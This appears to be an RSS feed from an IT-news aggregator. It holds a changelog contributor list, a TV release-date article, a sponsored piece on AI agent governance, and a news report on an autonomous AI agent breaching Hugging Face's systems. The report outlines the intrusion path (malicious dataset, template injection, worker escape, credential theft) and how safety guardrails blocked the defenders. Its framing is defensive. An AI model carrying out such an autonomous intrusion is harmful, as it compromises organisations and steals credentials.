<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Gutslabs/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Gutslabs">@Gutslabs</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/HaiderSultanArc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/HaiderSultanArc">@HaiderSultanArc</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/harjothkhara/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/harjothkhara">@harjothkhara</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/heathley/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/heathley">@heathley</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hejuntt1014/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hejuntt1014">@hejuntt1014</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/helix4u/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/helix4u">@helix4u</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/HeLLGURD/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/HeLLGURD">@HeLLGURD</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hellno/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hellno">@hellno</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/herbalizer404/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/herbalizer404">@herbalizer404</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/HexLab98/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/HexLab98">@HexLab98</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hmirin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hmirin">@hmirin</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Hopfensaft/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Hopfensaft">@Hopfensaft</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Hotragn/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Hotragn">@Hotragn</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hsy5571616/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hsy5571616">@hsy5571616</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/huanshan5195/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/huanshan5195">@huanshan5195</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/HumphreySun98/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/HumphreySun98">@HumphreySun98</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hwrdprkns/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hwrdprkns">@hwrdprkns</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hydracoco7/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hydracoco7">@hydracoco7</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hydraxman/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hydraxman">@hydraxman</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/iamlukethedev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/iamlukethedev">@iamlukethedev</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/iborazzi/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/iborazzi">@iborazzi</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/IgorGanapolsky/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/IgorGanapolsky">@IgorGanapolsky</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/iizotov/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/iizotov">@iizotov</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ildunari/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ildunari">@ildunari</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/infinitycrew39/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/infinitycrew39">@infinitycrew39</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/IpastorSan/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/IpastorSan">@IpastorSan</a>, @irresi, @isfttr, @isheng-eqi, @itsflownium, @izumi0uu, @Jaaneek, @JacketPants,<br>
@jaisup, @jakelongvu-bot, @jakepresent, @jaketracey, @JAlmanzarMint, @JasonFang1993, @jbbottoms, @jcjc81,<br>
@JiaDe-Wu, @Jiahui-Gu, @Jigoooo, @jingsong-liu, @jneeee, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JoaoMarcos44/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JoaoMarcos44">@JoaoMarcos44</a>, @joelbrilliant, @John-Lussier, @jplew,<br>
@jtstothard, @juniperbevensee, @Jupiter363, @justinschille, @k4z4n0v4, @kaishi00, @karfly, @kartik-mem0,<br>
@kavioavio, @KCAYAAI, @kenyonxu, @keslerm, @kevinrajaram, @knoal, @kocaemre, @kohoj, @konsisumer, @krowd3v,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>, @kuangmi-bit, @kubolko, @kyssta-exe, @Kyzcreig, @l0h1nth, @labsobsidian, @laurinaitis,<br>
@LavyaTandel, @lawyer112, @lemonwan, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/LeonSGP43/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/LeonSGP43">@LeonSGP43</a>, @lEWFkRAD, @linfeng961, @liuhao1024, @liuwei666888, @ljy-2000,<br>
@loes5050, @logical-and, @LoicHmh, @loongfay, @lord-dubious, @lost9999, @lucasfdale, @lucaskvasirr,<br>
@luxuguang-leo, @ly-wang19, @m0n5t3r, @m1qaweb, @M1racleShih, @MaartenDMT, @mahdiwafy, @MaheshBhushan,<br>
@ManniBr, @marcelohildebrand, @marcolivierlavoie, @markoub, @MarkVLK, @Marxb85, @matantsevs,<br>
@maxpetrusenkoagent, @mbac, @mdc2122, @mguttmann, @Mibayy, @michaelHMK, @mijanx, @minchang, @momomojo,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/MorAlekss/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/MorAlekss">@MorAlekss</a>, @morluto, @msh01, @mssteuer, @mvanhorn, @nanami7777777, @nankingjing, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/necoweb3/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/necoweb3">@necoweb3</a>, @neo-claw-bot,<br>
@neoguyverx, @nicha16, @nikshepsvn, @nima20002000, @nnnet, @NousResearch, @nullptr0807, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/nv-kasikritc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/nv-kasikritc">@nv-kasikritc</a>,<br>
@okisdev, @OmarB97, @ooiuuii, @ooovenenoso, @oppih, @Osraka, @ostravajih, @otsune, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>, @OYLFLMH,<br>
@patrick-muller, @pdmartins, @pedrommaiaa, @Peterskaronis, @petrichor-op, @pgregg88, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/pierrenode/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/pierrenode">@pierrenode</a>, @pixel4039,<br>
@plcunha, @pnascimento9596, @Polyhistor, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/PRATHAMESH75/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/PRATHAMESH75">@PRATHAMESH75</a>, @professorpalmer, @Punyko8, @Que0x, @Qwinty,<br>
@r0gersm1th, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/r266-tech/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/r266-tech">@r266-tech</a>, @rabadaki, @ragingbulld, @RainbowAndSun, @rainbowgore, @randimt, @rarf, @rasitakyol,<br>
@rayjun, @raymondyan-zhijie, @re-ITRT, @RenoMG, @Rival, @RKelln, @rlaehddus302, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rob-maron/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rob-maron">@rob-maron</a>, @rodboev,<br>
@roryford, @rungmc357, @ruslanvasylev, @s0xn1ck, @s905060, @s96919, @sahibzada-allahyar, @sahil-shubham,<br>
@Sahil-SS9, @SahilRakhaiya05, @sam7894604, @SAMBAS123, @samrusani, @sanidhyasin, @sasquatch9818, @sberan,<br>
@ScotterMonk, @seagpt, @sebastianlutycz, @SemonCat, @setclock, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shannonsands/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shannonsands">@shannonsands</a>, @sharziki, @shashwatgokhe,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/SHL0MS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/SHL0MS">@SHL0MS</a>, @shuangxinniao, @SilentKnight87, @simplast, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/simpolism/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/simpolism">@simpolism</a>, @SiteupAgencia, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sjiangtao2024/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sjiangtao2024">@sjiangtao2024</a>, @sk-holmes,<br>
@slow4cyl, @smtony, @soddy022, @Soju06, @solyanviktor-star, @SongotenU, @spiky02plateau, @sprmn24, @SquabbyZ,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/srojk34/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/srojk34">@srojk34</a>, @ssiweifnag, @stantheman0128, @StellarisW, @stephenschoettler, @suninrain086, @superposition,<br>
@Supersynergy, @sweetcornna, @szafranski, @tanmayxchoudhary, @tarunravi, @tcconnally, @terry197913, @Thatgfsj,<br>
@thegoodguysla, @thestudionorth, @TheTom, @TinkerOfThings, @tjboudreaux, @tjp2021, @Tortugasaur, @Tosko4,<br>
@Tranquil-Flow, @trevorgordon981, @trismegistus-wanderer, @tt-a1i, @tuancookiez-hub, @TurgutKural, @Umi4Life,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/UnathiCodex/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/UnathiCodex">@UnathiCodex</a>, @unsupportedpastels, @uzaylisak, @valda, @vampyren, @veradim, @victor-kyriazakos, @virtualex-itv,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vishal-dharm/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vishal-dharm">@vishal-dharm</a>, @Vissirexa, @vizi0uz, @vkkong, @vKongv, @VolodymyrBg, @vortexopenclaw, @VrtxOmega, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/WadydX/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/WadydX">@WadydX</a>,<br>
@waroffchange, @waseemshahwan, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/web3blind/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/web3blind">@web3blind</a>, @webtecnica, @wesleion, @wesleysimplicio, @williamumu,<br>
@WilsonKinyua, @wxy-nlp, @wyuebei-cloud, @x7peeps, @x9x9x9x9x9x91, @xuezhaolan, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/xxxigm/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/xxxigm">@xxxigm</a>, @ya-nsh, @yatesjalex,<br>
@ygd58, @yingliang-zhang, @yinkev, @YLChen-007, @yu-xin-c, @yungchentang, @zapabob, @zccyman, @zeapsu,<br>
@ziliangpeng, @zwcf5200, @zzpigpinggai</p>
<p>Also: bo.fu, Paulo Henrique, kyssta-exe 25470058+kyssta-exe.fu, Paulo Henrique, kyssta-exe 25470058+kyssta-exe.</p>
<hr>
<p><strong>Full Changelog</strong>: <a href="https://github.com/NousResearch/hermes-agent/compare/v2026.7.1...v2026.7.20">v2026.7.1...v2026.7.20</a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Heartland Seasons 19 and 20 Netflix Release Date: Everything We Know]]></title>
<description><![CDATA[Heartland Season 19 has started reaching Netflix in several countries, although viewers in the United States still face a much longer wait. Season 20 is also confirmed, but its Netflix release remains further away.



Here are the details:




Genre: Family drama



Season 19 episodes: 10



Seas...]]></description>
<link>https://tsecurity.de/de/3681864/ios-mac-os/heartland-seasons-19-and-20-netflix-release-date-everything-we-know/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681864/ios-mac-os/heartland-seasons-19-and-20-netflix-release-date-everything-we-know/</guid>
<pubDate>Mon, 20 Jul 2026 19:38:22 +0200</pubDate>
<content:encoded><![CDATA[Heartland Season 19 has started reaching Netflix in several countries, although viewers in the United States still face a much longer wait. Season 20 is also confirmed, but its Netflix release remains further away.



Here are the details:




Genre: Family drama



Season 19 episodes: 10



Season 19 Canadian premiere: October 5, 2025



Season 20 Canadian release: Fall 2026



Where it airs first: CBC and CBC Gem in Canada




When Will Heartland Season 19 Be on Netflix?



Netflix added Heartland Season 19 in several international regions around March 17, 2026. However, availability varies between countries because separate broadcasters and streaming platforms control the show’s distribution rights.



Netflix subscribers in the United States should expect a longer delay. UP Faith &amp; Family currently holds the first streaming rights for Season 19 in the country, while UPtv began broadcasting the season on March 19, 2026. The full season is already available through UP Faith &amp; Family.



Because UP’s exclusivity period generally lasts around one year, Season 19 will probably arrive on Netflix US between early and summer 2027. Netflix has not announced an official date, so this window remains an estimate based on the show’s existing release pattern.



What Happens in Heartland Season 19?



Spoilers ahead: Season 19 returns to Amy Fleming and her family as they protect Heartland Ranch while facing new personal and professional pressures. Amy continues helping troubled horses, although changes around the ranch force her to reconsider what she wants from her future.



The season also follows Lou, Jack, Tim and the younger members of the family as new relationships, responsibilities and difficult choices reshape life in Hudson.



Earlier seasons followed Amy’s journey from a grieving teenager into an experienced horse trainer and mother. The series has continued exploring family, loss, recovery and the challenges of keeping the ranch together.



When Will Heartland Season 20 Be on Netflix?



Heartland Season 20 will premiere on CBC and CBC Gem in fall 2026. The new season marks two decades of the long-running Canadian drama.



International Netflix regions will probably receive Season 20 sometime in 2027. US viewers may need to wait until 2028 because the season must first complete its Canadian run and UP Faith &amp; Family exclusivity period.



Netflix release dates will continue to vary by country. Are you waiting for Season 19 on Netflix, or have you already watched the latest events at Heartland Ranch? Let us know in the comments.]]></content:encoded>
</item>
<item>
<title><![CDATA[AI confidence just dropped 17 points in six months. That’s actually great news.]]></title>
<description><![CDATA[Presented by JumpCloudThe organizations losing confidence in AI are the ones most likely to get it right.Six months ago, 40% of IT leaders described their organizations as mature in AI deployment. Today that number is 23%. Before you read that as a setback, consider what it actually reflects.We r...]]></description>
<link>https://tsecurity.de/de/3681607/it-nachrichten/ai-confidence-just-dropped-17-points-in-six-months-thats-actually-great-news/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681607/it-nachrichten/ai-confidence-just-dropped-17-points-in-six-months-thats-actually-great-news/</guid>
<pubDate>Mon, 20 Jul 2026 18:03:50 +0200</pubDate>
<content:encoded><![CDATA[<p><i>Presented by JumpCloud</i></p><hr><p><b><i>The organizations losing confidence in AI are the ones most likely to get it right.</i></b></p><p>Six months ago, 40% of IT leaders described their organizations as mature in AI deployment. <a href="https://jumpcloud.com/resources/q3-2026-it-trends-report?utm_source=VentureBeat&amp;utm_medium=Contributed&amp;utm_campaign=FY26Q1_MorningBrew_AD&amp;utm_content=JulyArticle"><u>Today that number is 23%</u></a>. Before you read that as a setback, consider what it actually reflects.</p><p>We recently surveyed 800 IT leaders across the U.S. and U.K. for our Q3 2026 trends report, and the data tells a consistent story: the organizations revising their self-assessment downward are overwhelmingly the ones that have moved AI agents from pilots into production. They’re not losing faith in AI. They’re running into the problems that only show up when agents are doing real work in real systems, and they’re being honest about what they found.</p><p>That kind of honesty is harder to come by than it sounds, and it matters more than the confidence number itself.</p><h2>Deployment was the easy part</h2><p>84% of organizations plan to expand AI use in IT operations over the next 6 to 24 months, so the drop in confidence isn’t a retreat. What it reflects is a more accurate picture of what production actually requires.</p><p>In a pilot, an AI agent does one thing in a controlled setting. In production, it accesses real systems, makes decisions that affect real workflows, and operates continuously, often without a human in the loop. The governance infrastructure that entails is materially different from what it took to get the pilot working. Most organizations built enough to ship. Fewer built enough to scale.</p><p>The IT leaders revising their self-assessment are confronting questions they didn’t have to ask at the pilot stage: Can we see every agent running in our environment? Do we know what each one can access? If an agent behaved unexpectedly last week, how long would it take to find out? For most organizations, at least one of those answers is uncomfortable.</p><h2>The gap between perception and reality is where risk accumulates</h2><p>The graphic above captures the structural problem. Across confidence, governance, and autonomy, the same pattern holds: deployment is moving faster than the controls built around it.</p><p>The organizations that have closed this gap share specific characteristics. They’ve consolidated their IT environments rather than adding tools to solve each new problem, because every additional platform creates another place where agent identity, access, and accountability can go unmanaged. They treat AI agents as governed identities rather than tolerated shadow processes. And they measure what AI actually produces, not just what it deploys.</p><p>The payoff is tangible. Organizations in the top tier of our maturity model are five times more likely to report no barriers to expanding their AI agents than the average organization. They are not more cautious about AI. They are more confident in it, because they built the foundation that makes confidence earned rather than assumed.</p><h2>The governance gap has a specific shape</h2><p>The hardest problem in enterprise AI right now is not capability. It is accountability, and the data makes the specific failure point clear: non-human identity governance is the least adopted AI security practice we measured, in place at just 21% of organizations.</p><p>Non-human identities now outnumber human users in 83% of organizations, and that population is growing fast. Yet most of those identities exist without the governance structures that every human employee has as a matter of course: no formal record, no named owner, no defined scope of access, no offboarding process when their purpose expires. They keep running. They keep accessing systems. They keep accumulating permissions. We call these Zombie Agents, and they are the service account problem of the AI era, operating at machine speed and in every department.</p><p>The accountability gap is where real risk lives. When a human employee takes an action, there is an implicit accountability chain. When an autonomous agent takes an action, that chain breaks unless it has been deliberately engineered. Most organizations have not yet engineered it, and the gap between the autonomy agents are being granted and the oversight structures in place to manage them is widening every month.</p><h2>What the confidence drop is actually telling us</h2><p>When AI maturity confidence was uniformly high across the market, that was worth worrying about. It meant most organizations hadn’t yet run into the hard parts. A selective drop, concentrated among organizations actively running agents in production, means the market is developing a more accurate picture of what AI operations genuinely require.</p><p>The organizations recalibrating are doing the work that makes long-term AI adoption possible: building identity infrastructure that covers agents alongside humans and devices, unifying the environments where governance needs to apply, and measuring outcomes rather than just counting deployments. They haven’t lowered their ambitions for AI. They have raised their standards for what it means to run it responsibly.</p><p>84% of organizations plan to expand AI use over the next two years. The ones that will do it well are honest enough, right now, to admit what they haven’t yet built.</p><p><i>JumpCloud’s Q3 2026 AI Readiness Research report (n=800 IT leaders, U.S. + U.K.) is available </i><a href="https://jumpcloud.com/resources/q3-2026-it-trends-report?utm_source=VentureBeat&amp;utm_medium=Contributed&amp;utm_campaign=FY26Q1_MorningBrew_AD&amp;utm_content=JulyArticle"><i><u>here</u></i></a><i>. The report covers AI agent deployment stages, identity governance gaps, IT unification benchmarks, and budget realism across mid-market and enterprise organizations.</i></p><p><i>Rajat Bhargava is CEO and Co-founder at JumpCloud.</i></p><hr><p><i>Sponsored articles are content produced by a company that is either paying for the post or has a business relationship with VentureBeat, and they’re always clearly marked. For more information, contact </i><a href="mailto:sales@venturebeat.com"><i><u>sales@venturebeat.com</u></i></a><i>.</i></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Safety guardrails blocked Hugging Face's defenders, not the attacker, when an AI agent breached its systems]]></title>
<description><![CDATA[Hugging Face’s incident response team first turned to frontier AI models to analyze a breach of the company’s production infrastructure, and the models refused to help. Commercial safety guardrails built to stop attackers blocked every forensic query because they treated the IR team’s real exploi...]]></description>
<link>https://tsecurity.de/de/3681589/it-nachrichten/safety-guardrails-blocked-hugging-faces-defenders-not-the-attacker-when-an-ai-agent-breached-its-systems/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681589/it-nachrichten/safety-guardrails-blocked-hugging-faces-defenders-not-the-attacker-when-an-ai-agent-breached-its-systems/</guid>
<pubDate>Mon, 20 Jul 2026 18:03:18 +0200</pubDate>
<content:encoded><![CDATA[<p>Hugging Face’s incident response team first turned to frontier AI models to analyze a breach of the company’s production infrastructure, and the models refused to help. Commercial safety guardrails built to stop attackers blocked every forensic query because they treated the IR team’s real exploit data the same way they would treat a live attack.</p><p>The attacker, an autonomous AI agent running the campaign end to end, moved laterally across the Hugging Face infrastructure for a weekend, undetected and unstopped.</p><p>Security leaders are quick to recognize the pattern and diagnose what went wrong. “I’ve seen versions of this during red-team exercises and internal security testing, but this is one of the first high-profile examples where it materially affected real incident response,” said Merritt Baer, senior adviser to Andesite, G2I, and AppOmni and former Deputy CISO at AWS.</p><p>None of this is unique to Hugging Face, Baer said. “Commercial frontier models optimize for preventing misuse. They generally have no cryptographic or organizational way to determine whether the person asking ‘analyze this malware’ is an incident responder or the malware author.”</p><h2><b>A malicious dataset opened two code-execution paths</b></h2><p>On July 16, Hugging Face <a href="https://huggingface.co/blog/security-incident-july-2026">disclosed</a> that an autonomous AI agent system had compromised its production infrastructure, gaining unauthorized access to a limited set of internal datasets and several service credentials. The company verified that its software supply chain was clean and found no evidence of tampering with public models, datasets, or Spaces. </p><p>Hugging Face is still assessing whether the intrusion touched any partner or customer data and says it will contact affected parties directly as required. But few enterprise threat models had accounted for the attacker Hugging Face faced. An autonomous agent ran the entire campaign from initial access through credential harvesting. No human guided it.</p><p>The entry point was a malicious dataset. When the data-processing pipeline ingested it, the dataset triggered code execution in two ways, through a remote-code loader and through a template-injection flaw in dataset configuration files. No admission gate screened the file before it reached a processing worker, the compute job assigned to each dataset. Initial access came through the data pipeline itself, a route that worked because most enterprise security teams treat the data feeding their pipelines as trusted input rather than an attack surface.</p><p>Worker isolation did not hold. From that first foothold, the agent broke out onto the node running the workload, then harvested cloud and cluster credentials scoped broadly enough to reach multiple internal clusters, all of it inside a single weekend. Hugging Face described the agent framework as executing thousands of individual actions through a swarm of short-lived sandboxes, with self-migrating command-and-control staged on public services. The disclosure adds that the framework appeared to be built on an agentic security-research harness, which would put tooling designed for red-team work behind a live intrusion. </p><h2><b>Why the defenders’ queries looked like attacks</b></h2><p>Investigators reconstructed more than 17,000 recorded events using AI-driven analysis agents of their own.</p><p>First attempts at the log analysis ran on frontier models behind commercial APIs. Defenders’ steps included submitting real attack commands, exploit payloads, and command-and-control artifacts for classification, but safety guardrails blocked the requests outright.</p><p>Baer traced the block to the prompts themselves. “The same prompts that are most valuable during an active intrusion, shell commands, exploit chains, credential dumps, persistence mechanisms, lateral movement, are exactly the prompts most likely to trigger safety systems,” she told VentureBeat. “As AI becomes embedded in security operations, this becomes an operational resilience issue rather than merely a model policy issue.”</p><h2><b>The forensic analysis finished on GLM 5.2</b></h2><p>GLM 5.2, an open-weight model deployed on Hugging Face’s own infrastructure, took the job the commercial APIs refused. No attacker data left the company’s environment. “This experience points to a gap worth planning for,” the company wrote in its disclosure. Hugging Face does not know which model powered the agents. It could have been a jailbroken hosted model or an open-weight model running without restrictions. Either way, the disclosure continued, “the attacker was bound by no usage policy, while our own forensic work was blocked by the guardrails of the hosted models we first tried.” Hugging Face drew that line itself, writing that the experience is not an argument against safety measures on hosted models and that it is sharing the feedback with the providers concerned.</p><h2><b>What authenticated trust changes</b></h2><p>The industry, Baer argued, needs to move past treating AI safety as a content moderation problem. “Security operations require something different. Authenticated trust.” Instead of asking whether anyone should receive an answer, the question becomes whether an authenticated security team, operating under enterprise controls, should receive it. “The model shouldn’t only understand what is being asked. It should understand who is asking, why, and under what governance.”</p><p>“Organizations already build contingency plans for cloud outages, identity provider failures, or EDR failures,” Baer wrote. “AI assistants are becoming another dependency.”</p><p>Her advice on IR playbooks was blunt. “A mature incident response plan should assume that during a severe incident, commercial AI APIs may refuse requests, API rate limits may become unavailable, internet connectivity may be impaired, and data governance rules may prohibit uploading forensic evidence externally.” The lesson, she wrote in her emailed answers, “isn’t ‘don’t use commercial models.’ It’s ‘don’t make them a single point of failure.’”</p><h2><b>AI-enabled attacks rose 89% year-over-year</b></h2><p>Autonomous AI-driven attacks are not limited to AI platforms. <a href="https://www.crowdstrike.com/en-us/global-threat-report/">CrowdStrike’s 2026 Global Threat Report</a> documented AI-enabled adversary operations increasing by 89% year over year, with average breakout times falling to 29 minutes. Enterprises running AI workloads in production with agentic access to their pipelines face similar exposure.</p><p>Six control domains determined the blast radius and recovery speed at Hugging Face. Each one maps to a concrete action security leaders can take before the next autonomous-agent breach arrives.</p><h2><b>AI Pipeline Breach Response Playbook</b></h2><table><tbody><tr><td><p><b>Control Domain</b></p></td><td><p><b>What Broke</b></p></td><td><p><b>Monday Action</b></p></td></tr><tr><td><p>Dataset admission controls</p></td><td><p>Two code-execution paths were exploited. No admission gate validated the dataset before it reached a processing worker. The data pipeline became the initial access infrastructure.</p></td><td><p>Require sandbox execution and static analysis of all datasets before they reach workers. Block remote-code loaders and template-injection paths by default. Audit for any path granting code execution to untrusted content. Report to the board as a supply-chain risk.</p></td></tr><tr><td><p>Worker-to-node privilege boundaries</p></td><td><p>Worker isolation failed to prevent escalation to the node. The agent gained cluster credentials because the workload-infrastructure boundary was never enforced at container runtime.</p></td><td><p>Enforce hard privilege boundaries between workers and nodes. Deploy container runtime security to prevent workload escape. Audit whether workers can reach node-level APIs or credential stores. Include in the next penetration test scope.</p></td></tr><tr><td><p>Credential exposure</p></td><td><p>Cloud and cluster credentials harvested after node access. The scope was broad enough for lateral movement across multiple clusters over a weekend.</p></td><td><p>Rotate credentials on a scheduled cadence and after any anomaly alert. Scope to the minimum cluster and service. Deploy monitoring that flags access from unexpected nodes at machine speed. Map blast radius for board reporting.</p></td></tr><tr><td><p>Machine-speed detection</p></td><td><p>Thousands of actions through short-lived sandboxes with self-migrating C2. AI-assisted anomaly detection surfaced the campaign after a weekend of lateral movement, per the disclosure.</p></td><td><p>Calibrate detection for machine-speed patterns. Ensure high-severity alerts page responders in minutes, regardless of time. Audit SIEM rules for detecting thousands of short-lived executions within a single hour.</p></td></tr><tr><td><p>Private AI forensic capacity</p></td><td><p>Commercial APIs blocked forensic analysis. Guardrails screened query content, never analyst identity. Investigation ran on GLM 5.2 privately.</p></td><td><p>Deploy a capable open-weight model on private infrastructure before an incident. Test against real forensic workflows. Ensure IR playbook includes fallback for when commercial APIs refuse. Document gap for cyber insurance.</p></td></tr><tr><td><p>Autonomous-agent threat modeling</p></td><td><p>The campaign matched the forecast agentic-attacker scenario, but no threat model had operationalized it. LLM powering the agent is still unknown.</p></td><td><p>Add autonomous AI agents as a distinct adversary class with machine-speed decision cycles. Run tabletop at agent speed. Present results to the board as evidence that timelines need recalibration. Include in the cyber insurance application.</p></td></tr></tbody></table><h2><b>The board question is operational resilience</b></h2><p>“The question for directors is simple. What happens if one of our critical security tools becomes unavailable during the exact moment we need it most?” Baer framed that as operational resilience, not AI policy. </p><p>She would have boards take that framing straight to management and press for specifics. “Have we actually exercised that fallback during tabletop exercises? How quickly can we switch during an incident?” Procurement needs to change alongside governance, starting with the questions buyers ask. Security teams evaluating AI vendors should ask about their process for authenticated incident responders, whether enterprise customers receive different handling during verified incidents, and whether models can be deployed privately. “Those questions belong alongside uptime, privacy, and compliance,” Baer said.</p><p>“The biggest takeaway isn’t that safety guardrails are ‘bad.’ They’re doing what they were designed to do,” she argued. </p><p>Her larger point is that the threat model itself has changed. “For decades, defenders had better tools than attackers because they operated inside trusted enterprise environments. With foundation models, both sides increasingly use the same capabilities, but one side is constrained by enterprise governance, policy, compliance, and safety controls, while the adversary simply downloads an uncensored open-weight model and 